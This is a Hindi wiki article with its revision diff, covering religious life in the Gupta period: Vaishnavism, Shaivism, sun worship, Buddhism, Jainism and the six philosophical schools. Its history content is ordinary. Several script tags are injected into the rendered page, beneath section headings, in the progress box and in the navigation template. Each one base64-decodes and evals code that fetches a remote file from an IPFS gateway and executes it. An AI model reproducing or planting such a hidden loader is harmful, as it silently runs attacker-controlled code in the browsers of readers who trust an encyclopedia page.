"गुप्तकालीन धार्मिक स्थिति" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
('गुप्त साम्राज्य को ब्राह्मण धर्म व हिन्दू धर्म क...' के साथ नया पन्ना बनाया)
 
 
(7 सदस्यों द्वारा किये गये बीच के 22 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
−
गुप्त साम्राज्य को [[ब्राह्मण]] धर्म व [[हिन्दू धर्म]] के पुनरुत्थान का समय माना जाता है। हिन्दू धर्म विकास यात्रा के इस चरण में कुछ महत्वपूर्ण परिवर्तन दृष्टिगोचर हुए जैसे मूर्तिपूजा हिन्दू धर्म का सामान्य लक्षण बन गई। [[यज्ञ]] का स्थान उपासना ने ले लिया एवं गुप्त काल में ही [[वैष्णव धर्म|वैष्णव]] एवं [[शैव धर्म]] के मध्य समन्वय स्थापित हुआ। ईश्वर भक्ति को महत्व दिया गया। तत्कालीन महत्वपूर्ण सम्प्रदाय के रूप में वैष्णव एवं शैव सम्प्रदाय प्रचलन में थे।
+
[[चित्र:God-Vishnu.jpg|thumb|[[विष्णु]]]]
 +
गुप्त साम्राज्य को [[ब्राह्मण]] धर्म व [[हिन्दू धर्म]] के पुनरुत्थान का समय माना जाता है। हिन्दू धर्म विकास यात्रा के इस चरण में कुछ महत्त्वपूर्ण परिवर्तन दृष्टिगोचर हुए जैसे मूर्तिपूजा हिन्दू धर्म का सामान्य लक्षण बन गई। [[यज्ञ]] का स्थान उपासना ने ले लिया एवं गुप्त काल में ही [[वैष्णव धर्म|वैष्णव]] एवं [[शैव धर्म]] के मध्य समन्वय स्थापित हुआ। ईश्वर भक्ति को महत्त्व दिया गया। तत्कालीन महत्त्वपूर्ण सम्प्रदाय के रूप में वैष्णव एवं शैव सम्प्रदाय प्रचलन में थे।
 
==वैष्णव धर्म==  
 
==वैष्णव धर्म==  
−
यह गुप्त शासकों का व्यक्तिगत धर्म था। अनेक गुप्त राजाओं ने ‘परामभागवत्‘ की उपाधि धारण की। इन राजाओं ने अपनी राजाज्ञाएं गरुड़ध्वज से अंकित करवायीं। [[चन्द्रगुप्त विक्रमादित्य|चन्द्रगुप्त द्वितीय]] एवं [[समुद्रगुप्त]] द्वारा जारी किए गए सिक्कों पर [[विष्णु]] के वाहन [[गरुड़]] की आकृति खुदी मिली है। इसके अतिरिक्त वैष्णव धर्म के कुछ अन्य चिन्ह जैसे शंख, चक्र, गदा, पद्म, लक्ष्मी का अंकन भी गुप्तकालीन सिक्कों पर मिलता है। गुप्तकालीन महत्वपूर्ण अभिलेख [[स्कन्दगुप्त]] का 'जूनागढ़' एवं बुधगुप्त का 'एरण अभिलेख' विष्णु स्तुति से ही प्रारम्भ हुए हैं। चक्रपालित नाम से गुप्तकालीन कर्मचारी ने विष्णु के एक मंदिर का निर्माण करवाया था। चन्द्रगुप्त विक्रमादित्य ने विष्णुपद पर्वत के शिखर पर विष्णुध्वज की स्थापना की। गुप्तकालीन कुछ अभिलेखों ने विष्णु को ‘मधुसूदन‘ कहा गया है। [[वैष्णव धर्म]] गुप्त काल में अपने चरमोंत्कर्ष पर र्था। अवतारवाद वैष्णव धर्म का प्रधान अंग था।
+
{{Main|वैष्णव धर्म}}
 +
यह गुप्त शासकों का व्यक्तिगत धर्म था। अनेक गुप्त राजाओं ने 'परामभागवत्' की उपाधि धारण की। इन राजाओं ने अपनी राजाज्ञाएं गरुड़ध्वज से अंकित करवायीं। [[चन्द्रगुप्त विक्रमादित्य|चन्द्रगुप्त द्वितीय]] एवं [[समुद्रगुप्त]] द्वारा जारी किए गए सिक्कों पर [[विष्णु]] के वाहन [[गरुड़]] की आकृति खुदी मिली है। इसके अतिरिक्त वैष्णव धर्म के कुछ अन्य चिह्न जैसे शंख, चक्र, [[गदा]], पद्म, लक्ष्मी का अंकन भी गुप्तकालीन सिक्कों पर मिलता है। गुप्तकालीन महत्त्वपूर्ण अभिलेख [[स्कन्दगुप्त]] का '[[जूनागढ़]]' एवं बुधगुप्त का 'एरण अभिलेख' विष्णु स्तुति से ही प्रारम्भ हुए हैं। चक्रपालित नाम से गुप्तकालीन कर्मचारी ने विष्णु के एक मंदिर का निर्माण करवाया था। चन्द्रगुप्त विक्रमादित्य ने विष्णुपद पर्वत के शिखर पर विष्णुध्वज की स्थापना की। गुप्तकालीन कुछ अभिलेखों ने विष्णु को ‘मधुसूदन‘ कहा गया है। [[वैष्णव धर्म]] गुप्त काल में अपने चरमोंत्कर्ष पर र्था। '[[अवतारवाद]]' [[वैष्णव धर्म]] का प्रधान अंग था।
 +
[[चित्र:Shiva.jpg|thumb||left|[[शिव]]]]
 
==शैव धर्म==  
 
==शैव धर्म==  
−
{{tocright}}
+
{{Main|शैव मत}}
−
गुप्त राजाओं की धार्मिक सहिष्णुता की भावना के कारण ही [[शैव धर्म]] का भी विकास इस काल में हुआ, जबकि गुप्तों का व्यक्तिगत धर्म [[वैष्णव धर्म]] था। [[चन्द्रगुप्त विक्रमादित्य]] का सेनापति वीरसेना प्रकांड शैव विद्धान था। उसने उदयगिरि पहाड़ी के अंदर शैवों के निवास के लिए गुफा का निर्माण कराया था। गुप्तों के समय में [[मथुरा]] में 'महेश्वर' नाम का शैव सम्प्रदाय निवास कर रहा था। [[कालिदास]] के 'मेघदूत' के वर्णन में [[उज्जैयिनी]] में एक महाकाल के मन्दिर का वर्णन है। शैव धर्म का एक और अनुयायी पृथ्वीषेण, जो [[कुमारगुप्त प्रथम महेन्द्रादित्य|कुमारगुप्त प्रथम]] का सेनापति था, ने करमदण्डा नामक स्थान पर एक [[शिव]] की प्रतिमा स्थापित की। सामंत महाराज हस्तिन के खोह अभिलेख में ‘नमो महादेव‘ का उल्लेख है। इस प्रकार से यह स्पष्ट हो जाता है कि गुप्त काल में वैष्णव धर्म के सामने शैव धर्म की अवहेलना नहीं की गयी। गुप्तकाल में भगवान शिव की मूर्तियां मानवीय आकार एवं लिंग के रूप में बनाई गई थी। मानवाकार शिव की मूर्तियों में कोसाम से प्राप्त मूर्ति महत्वपूर्ण है। लिंग मूर्तियों में नागोद से प्राप्त एकलिंग मुखाकृति महत्वपूर्ण है। शिव के अर्धनारीश्वर रूप की कल्पना एवं शिव तथा [[पार्वती]] की एक साथ मूर्तियों का निर्माण सर्वप्रथम इसी काल में आरम्भ हुआ। शैव एवं वैष्णव धर्म के समन्वय को दर्शाने वाले भगवान ‘हरिहर‘ की मूर्तियों का निर्माण गुप्त काल में ही हुआ। त्रिमूर्ति पूजा के अन्तर्गत इस समय [[ब्रह्मा]], [[विष्णु]] एवं [[महेश]] की पूजा आरम्भ हुई। ‘[[वामन पुराण]]‘ के वर्णन के अनुसार गुप्त काल में चार शैव सम्प्रदायों का प्रचलन था -  
+
गुप्त राजाओं की धार्मिक सहिष्णुता की भावना के कारण ही [[शैव धर्म]] का भी विकास इस काल में हुआ, जबकि गुप्तों का व्यक्तिगत धर्म [[वैष्णव धर्म]] था। [[चन्द्रगुप्त विक्रमादित्य]] का सेनापति वीरसेना प्रकांड शैव विद्धान था। उसने उदयगिरि पहाड़ी के अंदर शैवों के निवास के लिए गुफा का निर्माण कराया था। गुप्तों के समय में [[मथुरा]] में 'महेश्वर' नाम का शैव सम्प्रदाय निवास कर रहा था। [[कालिदास]] के 'मेघदूत' के वर्णन में [[उज्जयिनी]] में एक महाकाल के मन्दिर का वर्णन है। शैव धर्म का एक और अनुयायी पृथ्वीषेण, जो [[कुमारगुप्त प्रथम महेन्द्रादित्य|कुमारगुप्त प्रथम]] का सेनापति था, ने करमदण्डा नामक स्थान पर एक [[शिव]] की प्रतिमा स्थापित की। सामंत महाराज हस्तिन के खोह अभिलेख में ‘नमो महादेव‘ का उल्लेख है। इस प्रकार से यह स्पष्ट हो जाता है कि गुप्त काल में वैष्णव धर्म के सामने शैव धर्म की अवहेलना नहीं की गयी। गुप्तकाल में भगवान शिव की मूर्तियां मानवीय आकार एवं लिंग के रूप में बनाई गई थी। मानवाकार शिव की मूर्तियों में कोसाम से प्राप्त मूर्ति महत्त्वपूर्ण है। लिंग मूर्तियों में नागोद से प्राप्त एकलिंग मुखाकृति महत्त्वपूर्ण है। शिव के अर्धनारीश्वर रूप की कल्पना एवं शिव तथा [[पार्वती]] की एक साथ मूर्तियों का निर्माण सर्वप्रथम इसी काल में आरम्भ हुआ। शैव एवं वैष्णव धर्म के समन्वय को दर्शाने वाले भगवान ‘हरिहर‘ की मूर्तियों का निर्माण गुप्त काल में ही हुआ। त्रिमूर्ति पूजा के अन्तर्गत इस समय [[ब्रह्मा]], [[विष्णु]] एवं [[महेश]] की पूजा आरम्भ हुई। ‘[[वामन पुराण]]‘ के वर्णन के अनुसार गुप्त काल में चार शैव सम्प्रदायों का प्रचलन था -  
−
#शैव,
+
#शैव
−
#पाशुपत,
+
#पाशुपत
 
#कापालिक  
 
#कापालिक  
 
#कालामुख।
 
#कालामुख।
 +
 
==सूर्य पूजा==  
 
==सूर्य पूजा==  
−
गुप्त काल में सूर्योपासक लोगों का भी सम्प्रदाय था। विक्रम संवत 529 के 'मंदसौर शिलालेख' के प्रारम्भिक कुछ श्लोंकों में [[सूर्यदेव|सूर्य भगवान]] की स्तुति की गई है। [[बुलन्दशहर ज़िले]] के ‘माडास्यात‘ नामक स्थल पर सूर्य मंदिर होने के साक्ष्य मिले हैं। मिहिरकुल के 'ग्वालियर अभिलेख' से मातृचेट नामक नागरिक द्वारा [[ग्वालियर]] में पर्वत श्रृंग पर एक प्रस्तर सूर्य मंदिर बनवाने के साक्ष्य मिले है। सूर्य के अनेक नामों में से अभिलेखों में 'लोकार्क', 'भास्कर', 'आदित्य', 'वरुणस्वामी' एवं 'मार्तण्ड' नाम मिलते है।
+
[[चित्र:Surya.jpg|thumb|[[सूर्य देवता]]]]
 +
गुप्त काल में सूर्योपासक लोगों का भी सम्प्रदाय था। विक्रम संवत 529 के 'मंदसौर शिलालेख' के प्रारम्भिक कुछ श्लोंकों में [[सूर्यदेव|सूर्य भगवान]] की स्तुति की गई है। [[बुलन्दशहर ज़िला|बुलन्दशहर ज़िले]] के ‘माडास्यात‘ नामक स्थल पर सूर्य मंदिर होने के साक्ष्य मिले हैं। मिहिरकुल के 'ग्वालियर अभिलेख' से मातृचेट नामक नागरिक द्वारा [[ग्वालियर]] में पर्वत श्रृंग पर एक प्रस्तर सूर्य मंदिर बनवाने के साक्ष्य मिले है। सूर्य के अनेक नामों में से अभिलेखों में 'लोकार्क', 'भास्कर', 'आदित्य', 'वरुणस्वामी' एवं 'मार्तण्ड' नाम मिलते हैं।
 
==बौद्ध धर्म==  
 
==बौद्ध धर्म==  
−
यद्यपि गुप्त शासकों ने इस धर्म को अपना संरक्षण प्रदान नहीं किया, फिर भी यह धर्म विकसित हुआ। इनके समय में [[बौद्ध धर्म]] के मुख्य केन्द्र के रूप में [[गया]], [[मथुरा]], [[कौशम्बी]], एवं [[सारनाथ]] प्रसिद्ध थे। गुप्तों के समय में ही प्रसिद्ध बौद्ध विहार [[नालंदा]] की स्थापना की गई। [[सांची]] के एक लेख के अनुसार चन्द्रगुंप्त द्वितीय ने किसी आम्रकट्रब नाम के बौद्ध धर्म के अनुयायी को अपने राज्य में ऊंचे पद पर नियुक्ति किया था। इस व्यक्ति ने काकनादाबार के महाविहार को 25 दीनार दान में दिया था। गुप्त काल के प्रसिद्ध बौद्ध आचार्य वसुबन्धु, असंग एवं दिङनाग थे। इन आचार्यो ने अपनी विद्वता के द्वारा भारतीय ज्ञान के विकास में सहयोग किया। चीनी यात्री [[फाह्यान]] के अनुसार गुप्त काल में बौद्ध धर्म अपने स्वाभाविक रूप में विकसित हो रहा था। बौद्ध धर्म की [[महायान]] शाखा के अन्तर्गत माध्यमिक एवं योगचार सम्प्रदाय का विकास हुआ। इसमें योगाचार सम्प्रदाय गुप्तों के समय में काफी प्रचलित था। गुप्त काल में ही आर्यदेव ने ‘चतुश्शतक‘ एवं असंग ने ‘महायान संग्रह‘, योगाचार भूमिशास्त्र तथा महायान सूत्रालंकार जैसे ग्रंथों की रचना की।
+
यद्यपि गुप्त शासकों ने इस धर्म को अपना संरक्षण प्रदान नहीं किया, फिर भी यह धर्म विकसित हुआ। इनके समय में [[बौद्ध धर्म]] के मुख्य केन्द्र के रूप में [[गया]], [[मथुरा]], [[कौशाम्बी]], एवं [[सारनाथ]] प्रसिद्ध थे। गुप्तों के समय में ही प्रसिद्ध बौद्ध विहार [[नालंदा]] की स्थापना की गई। [[सांची]] के एक लेख के अनुसार चन्द्रगुंप्त द्वितीय ने किसी आम्रकट्रब नाम के बौद्ध धर्म के अनुयायी को अपने राज्य में ऊंचे पद पर नियुक्ति किया था। इस व्यक्ति ने काकनादाबार के महाविहार को 25 [[दीनार]] दान में दिया था। गुप्त काल के प्रसिद्ध बौद्ध आचार्य वसुबन्धु, असंग एवं दिङनाग थे। इन आचार्यो ने अपनी विद्वता के द्वारा भारतीय ज्ञान के विकास में सहयोग किया। चीनी यात्री [[फ़ाह्यान]] के अनुसार गुप्त काल में बौद्ध धर्म अपने स्वाभाविक रूप में विकसित हो रहा था। बौद्ध धर्म की [[महायान]] शाखा के अन्तर्गत माध्यमिक एवं योगचार सम्प्रदाय का विकास हुआ। इसमें योगाचार सम्प्रदाय गुप्तों के समय में काफ़ी प्रचलित था। गुप्त काल में ही आर्यदेव ने ‘चतुश्शतक‘ एवं असंग ने ‘महायान संग्रह‘, योगाचार भूमिशास्त्र तथा महायान सूत्रालंकार जैसे ग्रंथों की रचना की।
 +
[[चित्र:Buddhism-Symbol.jpg|thumb|left|[[बौद्ध धर्म]] का प्रतीक]]
 
==जैन धर्म==  
 
==जैन धर्म==  
 
गुप्तकाल में [[जैन धर्म]] का विकास हुआ। गुप्तों के समय में ही मथुरा (313 ई.) एवं वल्लभी (453 ई.) में जैन सभाएं आयोजित की गई। इस समय मूर्तियों के निर्माण के अन्तर्गत [[महावीर]] एवं अन्य [[तीर्थंकर]] की सीधी खड़ी हुई एवं पालथी मारकर बैठी हुई मूर्तियां निर्मित की गई। गुप्तकाल में जैन धर्म मध्यमवर्गीय लोगों एवं व्यापारियों में खूब प्रचलित था। [[कदंब वंश|कदंब]] एवं [[गंग वंश|गंग]] राजाओं ने इस धर्म को संरक्षण प्रदान किया। 426 ई. के कुमारगुप्त प्रथम के उदयगिरि अभिलेख में किसी शंकर नाम के जैन धर्म अनुयायी द्वारा पार्श्र्वनाथ की मूर्तियों की स्थापना का उल्लेख मिलता है। पहाड़पुर से प्राप्त लेखों में जैन मंदिरों को भूमिदान का उल्लेख मिलता है।
 
गुप्तकाल में [[जैन धर्म]] का विकास हुआ। गुप्तों के समय में ही मथुरा (313 ई.) एवं वल्लभी (453 ई.) में जैन सभाएं आयोजित की गई। इस समय मूर्तियों के निर्माण के अन्तर्गत [[महावीर]] एवं अन्य [[तीर्थंकर]] की सीधी खड़ी हुई एवं पालथी मारकर बैठी हुई मूर्तियां निर्मित की गई। गुप्तकाल में जैन धर्म मध्यमवर्गीय लोगों एवं व्यापारियों में खूब प्रचलित था। [[कदंब वंश|कदंब]] एवं [[गंग वंश|गंग]] राजाओं ने इस धर्म को संरक्षण प्रदान किया। 426 ई. के कुमारगुप्त प्रथम के उदयगिरि अभिलेख में किसी शंकर नाम के जैन धर्म अनुयायी द्वारा पार्श्र्वनाथ की मूर्तियों की स्थापना का उल्लेख मिलता है। पहाड़पुर से प्राप्त लेखों में जैन मंदिरों को भूमिदान का उल्लेख मिलता है।
  
−
‘कहौम लेख‘ से स्पष्ट होता है कि स्कंदगुप्त के समय मद्र नाम का व्यक्ति ने पांच जैन तीर्थकार आदिनाथ, शातिनाथ, नेमिनाथ, पाश्र्वनपाथ एवं महावीर की मूर्तियों की स्थापना कराई। मथुरा अभिलेख के वर्णन के अनुसार कुमारगुप्त प्रथम के समय में हरिस्वामिनी नाम की जैन मतावलम्बी महिला ने जैन मंदिर को दान दिया। गुप्तों के समय जैन धर्म [[मगध]] से लेकर [[कलिंग]], [[मथुरा]], उदयगिरि, [[तमिलनाडु]] तक फैला था।
+
‘कहौम लेख‘ से स्पष्ट होता है कि स्कंदगुप्त के समय मद्र नाम के व्यक्ति ने पांच [[तीर्थंकर|जैन तीर्थंकर]]- [[ऋषभनाथ तीर्थंकर|ऋषभनाथ]] (आदिनाथ), [[शांतिनाथ]], [[नेमिनाथ तीर्थंकर|नेमिनाथ]], [[तीर्थंकर पार्श्वनाथ|पार्श्वनाथ]] एवं [[महावीर]] की मूर्तियों की स्थापना कराई। मथुरा अभिलेख के वर्णन के अनुसार कुमारगुप्त प्रथम के समय में हरिस्वामिनी नाम की जैन मतावलम्बी महिला ने जैन मंदिर को दान दिया। गुप्तों के समय जैन धर्म [[मगध]] से लेकर [[कलिंग]], [[मथुरा]], उदयगिरि, [[तमिलनाडु]] तक फैला था।
  
 
==षड्दर्शन==  
 
==षड्दर्शन==  
−
सांख्य, योग न्याय, वैशेषि, पूर्व एवं उत्तर मीमांसा (वेदांत) की महत्वपूर्ण कृतियों की रचना गुप्त युग में हुई।
+
[[सांख्य दर्शन|सांख्य]], योग, न्याय, [[वैशेषिक दर्शन|वैशेषिक]], पूर्व एवं उत्तर मीमांसा (वेदांत) की महत्त्वपूर्ण कृतियों की रचना गुप्त युग में हुई।
−
 
 
−
 
 
−
 
 
−
{{लेख प्रगति
 
−
|आधार=
 
−
|प्रारम्भिक=
 
−
|माध्यमिक=माध्यमिक2
 
−
|पूर्णता=
 
−
|शोध=
 
−
}}
 
  
 +
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3 |माध्यमिक= |पूर्णता= |शोध= }}
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>
 
==संबंधित लेख==
 
==संबंधित लेख==
−
{{गुप्त साम्राज्य}}
+
{{गुप्त काल}}
−
{{गुप्त राजवंश}}
 
−
 
 
 
{{भारत के राजवंश}}
 
{{भारत के राजवंश}}
 
[[Category:गुप्त_काल]]
 
[[Category:गुप्त_काल]]
 
[[Category:इतिहास कोश]]
 
[[Category:इतिहास कोश]]
 
__INDEX__
 
__INDEX__
 +
__NOTOC__

13:30, 28 जुलाई 2014 के समय का अवतरण

विष्णु

गुप्त साम्राज्य को ब्राह्मण धर्म व हिन्दू धर्म के पुनरुत्थान का समय माना जाता है। हिन्दू धर्म विकास यात्रा के इस चरण में कुछ महत्त्वपूर्ण परिवर्तन दृष्टिगोचर हुए जैसे मूर्तिपूजा हिन्दू धर्म का सामान्य लक्षण बन गई। यज्ञ का स्थान उपासना ने ले लिया एवं गुप्त काल में ही वैष्णव एवं शैव धर्म के मध्य समन्वय स्थापित हुआ। ईश्वर भक्ति को महत्त्व दिया गया। तत्कालीन महत्त्वपूर्ण सम्प्रदाय के रूप में वैष्णव एवं शैव सम्प्रदाय प्रचलन में थे।

वैष्णव धर्म

मुख्य लेख : वैष्णव धर्म

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

यह गुप्त शासकों का व्यक्तिगत धर्म था। अनेक गुप्त राजाओं ने 'परामभागवत्' की उपाधि धारण की। इन राजाओं ने अपनी राजाज्ञाएं गरुड़ध्वज से अंकित करवायीं। चन्द्रगुप्त द्वितीय एवं समुद्रगुप्त द्वारा जारी किए गए सिक्कों पर विष्णु के वाहन गरुड़ की आकृति खुदी मिली है। इसके अतिरिक्त वैष्णव धर्म के कुछ अन्य चिह्न जैसे शंख, चक्र, गदा, पद्म, लक्ष्मी का अंकन भी गुप्तकालीन सिक्कों पर मिलता है। गुप्तकालीन महत्त्वपूर्ण अभिलेख स्कन्दगुप्त का 'जूनागढ़' एवं बुधगुप्त का 'एरण अभिलेख' विष्णु स्तुति से ही प्रारम्भ हुए हैं। चक्रपालित नाम से गुप्तकालीन कर्मचारी ने विष्णु के एक मंदिर का निर्माण करवाया था। चन्द्रगुप्त विक्रमादित्य ने विष्णुपद पर्वत के शिखर पर विष्णुध्वज की स्थापना की। गुप्तकालीन कुछ अभिलेखों ने विष्णु को ‘मधुसूदन‘ कहा गया है। वैष्णव धर्म गुप्त काल में अपने चरमोंत्कर्ष पर र्था। 'अवतारवाद' वैष्णव धर्म का प्रधान अंग था।

शिव

शैव धर्म

मुख्य लेख : शैव मत

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

गुप्त राजाओं की धार्मिक सहिष्णुता की भावना के कारण ही शैव धर्म का भी विकास इस काल में हुआ, जबकि गुप्तों का व्यक्तिगत धर्म वैष्णव धर्म था। चन्द्रगुप्त विक्रमादित्य का सेनापति वीरसेना प्रकांड शैव विद्धान था। उसने उदयगिरि पहाड़ी के अंदर शैवों के निवास के लिए गुफा का निर्माण कराया था। गुप्तों के समय में मथुरा में 'महेश्वर' नाम का शैव सम्प्रदाय निवास कर रहा था। कालिदास के 'मेघदूत' के वर्णन में उज्जयिनी में एक महाकाल के मन्दिर का वर्णन है। शैव धर्म का एक और अनुयायी पृथ्वीषेण, जो कुमारगुप्त प्रथम का सेनापति था, ने करमदण्डा नामक स्थान पर एक शिव की प्रतिमा स्थापित की। सामंत महाराज हस्तिन के खोह अभिलेख में ‘नमो महादेव‘ का उल्लेख है। इस प्रकार से यह स्पष्ट हो जाता है कि गुप्त काल में वैष्णव धर्म के सामने शैव धर्म की अवहेलना नहीं की गयी। गुप्तकाल में भगवान शिव की मूर्तियां मानवीय आकार एवं लिंग के रूप में बनाई गई थी। मानवाकार शिव की मूर्तियों में कोसाम से प्राप्त मूर्ति महत्त्वपूर्ण है। लिंग मूर्तियों में नागोद से प्राप्त एकलिंग मुखाकृति महत्त्वपूर्ण है। शिव के अर्धनारीश्वर रूप की कल्पना एवं शिव तथा पार्वती की एक साथ मूर्तियों का निर्माण सर्वप्रथम इसी काल में आरम्भ हुआ। शैव एवं वैष्णव धर्म के समन्वय को दर्शाने वाले भगवान ‘हरिहर‘ की मूर्तियों का निर्माण गुप्त काल में ही हुआ। त्रिमूर्ति पूजा के अन्तर्गत इस समय ब्रह्मा, विष्णु एवं महेश की पूजा आरम्भ हुई। ‘वामन पुराण‘ के वर्णन के अनुसार गुप्त काल में चार शैव सम्प्रदायों का प्रचलन था -

  1. शैव
  2. पाशुपत
  3. कापालिक
  4. कालामुख।

सूर्य पूजा

सूर्य देवता

गुप्त काल में सूर्योपासक लोगों का भी सम्प्रदाय था। विक्रम संवत 529 के 'मंदसौर शिलालेख' के प्रारम्भिक कुछ श्लोंकों में सूर्य भगवान की स्तुति की गई है। बुलन्दशहर ज़िले के ‘माडास्यात‘ नामक स्थल पर सूर्य मंदिर होने के साक्ष्य मिले हैं। मिहिरकुल के 'ग्वालियर अभिलेख' से मातृचेट नामक नागरिक द्वारा ग्वालियर में पर्वत श्रृंग पर एक प्रस्तर सूर्य मंदिर बनवाने के साक्ष्य मिले है। सूर्य के अनेक नामों में से अभिलेखों में 'लोकार्क', 'भास्कर', 'आदित्य', 'वरुणस्वामी' एवं 'मार्तण्ड' नाम मिलते हैं।

बौद्ध धर्म

यद्यपि गुप्त शासकों ने इस धर्म को अपना संरक्षण प्रदान नहीं किया, फिर भी यह धर्म विकसित हुआ। इनके समय में बौद्ध धर्म के मुख्य केन्द्र के रूप में गया, मथुरा, कौशाम्बी, एवं सारनाथ प्रसिद्ध थे। गुप्तों के समय में ही प्रसिद्ध बौद्ध विहार नालंदा की स्थापना की गई। सांची के एक लेख के अनुसार चन्द्रगुंप्त द्वितीय ने किसी आम्रकट्रब नाम के बौद्ध धर्म के अनुयायी को अपने राज्य में ऊंचे पद पर नियुक्ति किया था। इस व्यक्ति ने काकनादाबार के महाविहार को 25 दीनार दान में दिया था। गुप्त काल के प्रसिद्ध बौद्ध आचार्य वसुबन्धु, असंग एवं दिङनाग थे। इन आचार्यो ने अपनी विद्वता के द्वारा भारतीय ज्ञान के विकास में सहयोग किया। चीनी यात्री फ़ाह्यान के अनुसार गुप्त काल में बौद्ध धर्म अपने स्वाभाविक रूप में विकसित हो रहा था। बौद्ध धर्म की महायान शाखा के अन्तर्गत माध्यमिक एवं योगचार सम्प्रदाय का विकास हुआ। इसमें योगाचार सम्प्रदाय गुप्तों के समय में काफ़ी प्रचलित था। गुप्त काल में ही आर्यदेव ने ‘चतुश्शतक‘ एवं असंग ने ‘महायान संग्रह‘, योगाचार भूमिशास्त्र तथा महायान सूत्रालंकार जैसे ग्रंथों की रचना की।

बौद्ध धर्म का प्रतीक

जैन धर्म

गुप्तकाल में जैन धर्म का विकास हुआ। गुप्तों के समय में ही मथुरा (313 ई.) एवं वल्लभी (453 ई.) में जैन सभाएं आयोजित की गई। इस समय मूर्तियों के निर्माण के अन्तर्गत महावीर एवं अन्य तीर्थंकर की सीधी खड़ी हुई एवं पालथी मारकर बैठी हुई मूर्तियां निर्मित की गई। गुप्तकाल में जैन धर्म मध्यमवर्गीय लोगों एवं व्यापारियों में खूब प्रचलित था। कदंब एवं गंग राजाओं ने इस धर्म को संरक्षण प्रदान किया। 426 ई. के कुमारगुप्त प्रथम के उदयगिरि अभिलेख में किसी शंकर नाम के जैन धर्म अनुयायी द्वारा पार्श्र्वनाथ की मूर्तियों की स्थापना का उल्लेख मिलता है। पहाड़पुर से प्राप्त लेखों में जैन मंदिरों को भूमिदान का उल्लेख मिलता है।

‘कहौम लेख‘ से स्पष्ट होता है कि स्कंदगुप्त के समय मद्र नाम के व्यक्ति ने पांच जैन तीर्थंकर- ऋषभनाथ (आदिनाथ), शांतिनाथ, नेमिनाथ, पार्श्वनाथ एवं महावीर की मूर्तियों की स्थापना कराई। मथुरा अभिलेख के वर्णन के अनुसार कुमारगुप्त प्रथम के समय में हरिस्वामिनी नाम की जैन मतावलम्बी महिला ने जैन मंदिर को दान दिया। गुप्तों के समय जैन धर्म मगध से लेकर कलिंग, मथुरा, उदयगिरि, तमिलनाडु तक फैला था।

षड्दर्शन

सांख्य, योग, न्याय, वैशेषिक, पूर्व एवं उत्तर मीमांसा (वेदांत) की महत्त्वपूर्ण कृतियों की रचना गुप्त युग में हुई।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

देखें • वार्ता • बदलें
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
गुप्त काल (280–550 ई.)
कुमारगुप्त द्वितीय · कुमारगुप्त प्रथम महेन्द्रादित्य · गढ़वा · गुप्त राजवंश · गुप्त साम्राज्य · गुप्तकालीन कला और स्थापत्य · गुप्तकालीन धार्मिक स्थिति · गुप्तकालीन प्रशासन · गुप्तकालीन राजस्व · गुप्तकालीन वाणिज्य और व्यापार · गुप्तकालीन सामाजिक स्थिति · घटोत्कच (गुप्त काल) · चंद्रगुप्त प्रथम · चन्द्रगुप्त विक्रमादित्य · नरसिंह गुप्त · हस्तिवर्मा · कुमारगुप्त तृतीय · भानु गुप्त · नालन्दा विश्‍वविद्यालय · मिहिरकुल · तोरमाण · पुरुगुप्त · अंकोटक · यशोधर्मन · अंतर्वेद · बुधगुप्त · गोविंदगुप्त · भितरी · कुमारदेवी · रामगुप्त · वराहमिहिर · वैण्यगुप्त · श्रीगुप्त · समुद्रगुप्त · स्कन्दगुप्त · घटोत्कच · कृष्ण गुप्त · हर्ष गुप्त · कुट्टनी · ध्रुवदेवी · नरसिंहगुप्त · भूतिवर्मा · सनकानिक · अवमुक्त · आम्रकार्द्दव · गुप्तोत्तर काल · चंद्र · रूपक · पर्णदत्त · चक्रपालित
देखें • वार्ता • बदलें
